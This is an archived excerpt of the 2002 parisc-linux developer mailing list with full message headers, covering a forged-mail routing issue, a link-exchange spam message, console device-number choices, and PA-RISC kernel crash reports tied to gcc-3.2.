> > parisc-linux.org mail logs.
>
> This might be related to the "Antispam" messages that senders on the
> list were receiving.  I received messages of the type above.

ok, but why ? does parisc-linux run anything related ?

Matt: might you please grep for the postfix msgID 361CF4837 and check
where this mail was sent to from mail.parisc-linux.org aka
dsl2.external.hp.com ? the to= -line is the interesting one...

--- interesting headers again ---
Received: from naex017w.apci.com (smtp2.apci.com [204.27.156.103])
	by ns1.cksoft.de (Postfix) with ESMTP id 232CC15145B
	for <bzeeb-lists@lists.zabbadoz.net>; Thu, 14 Nov 2002 05:54:32 +0100 (CET)
Received: from mail pickup service by naex017w.apci.com with Microsoft
    SMTPSVC;
	 Wed, 13 Nov 2002 23:39:46 -0500
Received: from Local ([144.249.122.105]) by 144.249.122.105 with Trend
    Micro InterScan Messaging Security Suite for SMTP v5.01; Tue,
     12 Nov 2002 14:01:07 -0500
Received: from mail4.messagelabs.com ([212.125.75.12]) by Local with
    Microsoft SMTPSVC(5.0.2195.4905);
	 Tue, 12 Nov 2002 14:01:07 -0500
X-VirusChecked: Checked
X-Env-Sender: parisc-linux-admin@lists.parisc-linux.org
X-Msg-Ref: server-15.tower-4.messagelabs.com!1037127908!34785
Received: (qmail 4995 invoked from network); 12 Nov 2002 19:05:09 -0000
Received: from smtp1.apci.com (HELO naex016w.apci.com) (204.27.156.18)
  by server-15.tower-4.messagelabs.com with SMTP; 12 Nov 2002 19:05:09 -0000
Received: from dsl2.external.hp.com ([192.25.206.7]) by naex016w.apci.com
    with Microsoft SMTPSVC(5.0.2195.4905);
	 Tue, 12 Nov 2002 13:59:59 -0500
Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 361CF4837; Tue, 12 Nov 2002 12:05:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id F11C14829; Tue, 12 Nov 2002 12:04:26 -0700 (MST)
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] [2.5] rtc doesn't build
In-Reply-To: Message from "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
   of "Tue, 12 Nov 2002 18:57:07 GMT."
    <Pine.BSF.4.44.0211121854470.32930-100000@e0-0.zab2.int.zabbadoz.net>
References:
    <Pine.BSF.4.44.0211121854470.32930-100000@e0-0.zab2.int.zabbadoz.net>
From: Grant Grundler <grundler@dsl2.external.hp.com>
Message-Id: <20021112190427.F11C14829@dsl2.external.hp.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
Date: Tue, 12 Nov 2002 12:04:26 -0700
X-OriginalArrivalTime: 12 Nov 2002 18:59:59.0515 (UTC)
    FILETIME=[B2CD76B0:01C28A7D]
--- ... ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/




From - Thu Nov 08 21:25:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Steve" <webmaster@web-site-promotion-submission-marketing.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Request for link exchange with your web site
Date: Thu, 14 Nov 2002 16:36:39 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20021114223637.DBAE6482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621933 16999 80.91.229.3 (22 Nov 2014 02:05:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:33 +0000 (UTC)
To: "Parisc Linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 15:36:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hosting-network.com (unknown [66.216.31.1])
	by dsl2.external.hp.com (Postfix) with SMTP id DBAE6482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 15:36:37 -0700 (MST)
Original-Received: (qmail 6517 invoked from network); 14 Nov 2002 22:37:02 -0000
Original-Received: from unknown (HELO OWNER-S7RC1YEZ1) (12.248.104.47)
  by node1.hosting-network.com with SMTP; 14 Nov 2002 22:37:02 -0000
X-Comments: BlackMail headers - Mail to abuse@unix172.hosting-network.com. to report spam.
X-Comments: See http://www.bitgate.com/spam/ for info on this software.
X-Comments: These headers are here for you to report spam!
X-Authenticated-Connect: 12.248.104.47
X-Authenticated-Timestamp: 17:37:02(EST) on November 14, 2002
X-HELO-From: OWNER-S7RC1YEZ1
X-Mail-From: <webmaster@web-site-promotion-submission-marketing.com>
X-Sender-IP-Address: 12.248.104.47
X-Priority: 3
X-Library: Indy 9.00.11
X-Mailer: ARELIS, http://www.Axandra.com/?arelismail
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16816

Dear Webmaster,

I visited your web site and would like to exchange links with you. I have already placed your link on my marketing directory page at:

http://www.web-site-promotion-submission-marketing.com  category: Web Traffic, sub-category: Increase Web Traffic
Please link back to our web site

Our link info :

Title : Web Site Promotion Submission Marketing 
Url : http://www.web-site-promotion-submission-marketing.com
Description:   Web Site Promotion Submission Marketing

I would appreciate it if you would place a link back.

Thanks

Best regards,
Steve
webmaster@web-site-promotion-submission-marketing.com




From - Thu Nov 08 21:25:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [IMPORTANT] PDC & Mux console major number changed
Date: Thu, 14 Nov 2002 22:44:58 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20021114224458.C21295@parcelfarce.linux.theplanet.co.uk>
References: <20021114151344.Y30392@parcelfarce.linux.theplanet.co.uk> <3DD42259.2070106@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621933 17002 80.91.229.3 (22 Nov 2014 02:05:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:33 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 15:45:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5F22482E
	for <parisc-linux@parisc-linux.org>; Thu, 14 Nov 2002 15:45:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18CSjK-0007GD-00; Thu, 14 Nov 2002 22:44:58 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DD42259.2070106@gmx.at>; from christoph.plattner@gmx.at on Thu, Nov 14, 2002 at 11:23:21PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16817

On Thu, Nov 14, 2002 at 11:23:21PM +0100, Christoph Plattner wrote:
> I do not think it is a good idea to have the same MAJOR for PDC console
> and MUX driver. Those drivers are different in concept, and the PDC
> driver is valid for ALL HP machines, independent if it is a 720, 712
> 800er, ..... The PDC driver used the ROM support and can be used
> as fall back in any case.

I wish you'd said something before... they've been using the same major
for months now.  Anyway, there's really no point in using the PDC console
if the Mux console works, so I don't see why it's a bad thing.

> The MUX driver is the serial driver for those special hardware of HP.
> This driver can be handled in two ways:
> - Let it be an own driver with special devices, like
> 		/dev/ttyX0..7 or /dev/ttyM0..7 (or whatever ...)

Too late.  Lanana already has the registration:

11 char	Serial Mux device	(Linux/PA-RISC only)
		  0 = /dev/ttyB0	First mux port
		  1 = /dev/ttyB1	Second mux port
		    ...

(http://www.lanana.org/docs/device-list/devices.txt)

> - Let it become the "default" serial device:
> 		/dev/ttyS0../dev/ttyS7
>    This is only possible, if there is no HP with a 16450-class UART
>    and a MUX !!!

There is such a machine; D & R class can have a Mux plugin card and they
also have 16x50 UARTs provided by Lasi & Wax.  (firmware disables Lasi's
UART when this card is plugged in, but Wax's is still active).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange mail routing problem for mail from this
Date: Thu, 14 Nov 2002 17:47:27 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200211142247.gAEMlRrk013091@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.44.0211142219580.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621933 17003 80.91.229.3 (22 Nov 2014 02:05:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:33 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, bzeeb-lists@lists.zabbadoz.net,
	parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 15:51:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0E3B482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 15:51:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAEMlSot013093;
	Thu, 14 Nov 2002 17:47:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAEMlRrk013091;
	Thu, 14 Nov 2002 17:47:27 -0500 (EST)
In-Reply-To: <Pine.BSF.4.44.0211142219580.39295-100000@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Nov 14, 2002 10:32:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16818

> > This might be related to the "Antispam" messages that senders on the
> > list were receiving.  I received messages of the type above.
> 
> ok, but why ? does parisc-linux run anything related ?

They don't.  It's one of the subscribers and everything about the
message is forged.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] My System ate a SPARC! *haha* 8-(
Date: Fri, 15 Nov 2002 13:58:45 +0000 (UTC)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211151356530.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <1037146661.32080.128.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621934 17007 80.91.229.3 (22 Nov 2014 02:05:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 07:01:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D7B3482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 07:01:47 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 3D65A1FFEAD; Fri, 15 Nov 2002 15:01:26 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 8ADAA1FFECC; Fri, 15 Nov 2002 15:01:25 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 4C8A922E18; Fri, 15 Nov 2002 13:58:45 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 4371022E17; Fri, 15 Nov 2002 13:58:45 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <1037146661.32080.128.camel@beavis>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16819

On 12 Nov 2002, Ryan Bradetich wrote:

Hi,

> > this it were kernel starts joking ...
> >
> > --- /etc/init.d/initrd-tools.sh ---
> > [ -f /proc/mounts ] || {
> > echo "still ok"
> >         mount -n /proc || exit
> >         trap 'umount -n /proc' EXIT
> > }
> > echo "never reached"
> > --- ... ---
>
> Interesting ... will dig further and see if I can get this fixed.

any outcomes so far ? else I would spent some minutes this weekend
between compiling kernels (which actually will take most time all of
the debugging) to dig into this ...

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] My System ate a SPARC! *haha* 8-(
Date: Fri, 15 Nov 2002 17:04:24 +0000 (UTC)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211151641580.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.44.0211151356530.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621934 17009 80.91.229.3 (22 Nov 2014 02:05:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 10:14:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF4B5484B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 10:14:34 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id E854E1FFEE2; Fri, 15 Nov 2002 18:14:28 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 1ECDA1FFEE4; Fri, 15 Nov 2002 18:14:28 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 8A5AE22E18; Fri, 15 Nov 2002 17:04:24 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 8151D22E13; Fri, 15 Nov 2002 17:04:24 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <Pine.BSF.4.44.0211151356530.39295-100000@e0-0.zab2.int.zabbadoz.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16820

On Fri, 15 Nov 2002, Bjoern A. Zeeb wrote:

> any outcomes so far ? else I would spent some minutes this weekend
> between compiling kernels (which actually will take most time all of
> the debugging) to dig into this ...

1 compile. no debugging:

Linux version 2.5.47-pa3 (bz@apollo) (gcc version 3.2) #7 Fri Nov 15 15:28:16 UTC 2002

boots up fine :-))  with cvs from 1400 UTC today.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 17:12:21 +0000 (UTC)
Lines: 70
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211151707330.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621934 17012 80.91.229.3 (22 Nov 2014 02:05:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 10:14:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4BEE484C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 10:14:34 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 0E23F1FFEEC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 18:14:29 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 2CE191FFEE6; Fri, 15 Nov 2002 18:14:28 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 6D86822E18; Fri, 15 Nov 2002 17:12:21 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 6453422E13
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 17:12:21 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16821

Hi,

2.5.47-pa3 up and running I added my vlan interface, ssh'ed to the
host and *buff*


--- 8< 8< ---
Stack Dump:
 14db4000:

Kernel addresses on the stack:


Kernel Fault: Code=15 regs=14db4000 (Addr=4c4c4c4c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 10290810 101b4134 4c4c0000
r04-07  4c4c4c4c 4c4c4c4d 14db7000 14db3e48
r08-11  00000001 00000000 00000000 40018000
r12-15  14db798c 14dac290 000e7760 faf00fdc
r16-19  000e7760 ffffffe8 00000004 0000000b
r20-23  0000000b 0000000f 00000000 00000001
r24-27  106fd160 00000000 150d7000 10274010
r28-31  00000000 000b7cc1 14db4000 101b3278
sr0-3   00000000 00000632 00000000 00000632
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101b40f0 101b40f4
 IIR: 0c821033    ISR: 00000000  IOR: 4c4c4c4c
 CPU:        0   CR30: 14dac000 CR31: 102a2000
 ORIG_R28: 00000000
--- 8< 8< ---



So I booted up again to have a look at System.map but....



--- 8< 8< ---
Checking root file system...
fsck 1.30-WIP (30-Sep-2002)
/dev/sda3 was not cleanly unmounted, check forced.
...
    | 84.5%   fsck.ext2(27): unaligned access to 0x0004feff at ip=0x000140af
fsck.ext2(27): unaligned access to 0x0004feff at ip=0x000140c3
Not-handled unaligned insn 0x27c11018
Unaligned handler failed, ret = -1
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
fsck.ext2(27): Unaligned data reference
fsck.ext2(27): unaligned access to 0x0004feff at ip=0x000140c3
Not-handled unaligned insn 0x27c11018
Unaligned handler failed, ret = -1
      _______________________________
...
--- 8< 8< ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 12:50:32 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20021115175032.GD5673@systemhalted>
References: <Pine.BSF.4.44.0211151707330.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621935 17014 80.91.229.3 (22 Nov 2014 02:05:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 10:50:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id E112D482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 10:50:27 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Ckbw-0001a2-00; Fri, 15 Nov 2002 12:50:32 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.44.0211151707330.39295-100000@e0-0.zab2.int.zabbadoz.net>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16822

> Hi,
> 
> 2.5.47-pa3 up and running I added my vlan interface, ssh'ed to the
> host and *buff*
> 

I noticed that your 'uname -a' says you compiled the kernel with gcc-3.2.
AFAIK we have yet to build a kernel with gcc-3.2 that survives network 
traffic. Perhaps try building the kernel with gcc 3.1 or 3.0? 

Helping track down the gcc-3.2 problem would be a wonderful thing :)

c.



From - Thu Nov 08 21:25:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
